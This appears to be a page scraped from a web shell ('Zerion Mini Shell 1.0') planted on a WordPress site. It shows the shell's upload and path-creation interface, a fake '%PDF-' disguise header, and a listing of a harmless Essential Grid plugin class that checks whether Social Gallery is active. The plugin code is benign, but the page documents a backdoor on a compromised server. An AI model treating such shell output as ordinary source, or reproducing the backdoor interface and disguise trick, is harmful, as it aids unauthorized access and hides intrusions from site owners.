%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/qendrasteps/wp-content/plugins/essential-grid/includes/
Upload File :
Create Path :
Current File : /var/www/html/qendrasteps/wp-content/plugins/essential-grid/includes/social-gallery.class.php

<?php

/**
 * Social Gallery WordPress Photo Viewer Plugin Extension
 * @url: http://codecanyon.net/item/social-gallery-wordpress-photo-viewer-plugin/2665332
 * @link      http://www.themepunch.com/essential/
 * @copyright 2016 ThemePunch
 * @since: 2.0.1
 **/
 
if( !defined( 'ABSPATH') ) exit();

class Essential_Grid_Social_Gallery {
	
	/**
	 * Check if Social Gallery is activated and at least version x.x is installed
	 **/
	public static function sg_exists(){
		
		if(!apply_filters( 'socialgallery-installed', false)){
			$exists = false;
		}else{
			$exists = true;
		}
		
		return apply_filters('essgrid_sg_exists', $exists);
	}
	
	
	/**
	 * Check if Social Gallery is active in the Essential Grid Global options
	 **/
	public static function is_active(){
		$active = false;
		
		if(self::sg_exists()){
			$opt = get_option('tp_eg_use_lightbox', 'false');
			if($opt === 'sg') $active = true;
		}
		
		return apply_filters('essgrid_is_active', $active);
	}
	
}
	
?>

Zerion Mini Shell 1.0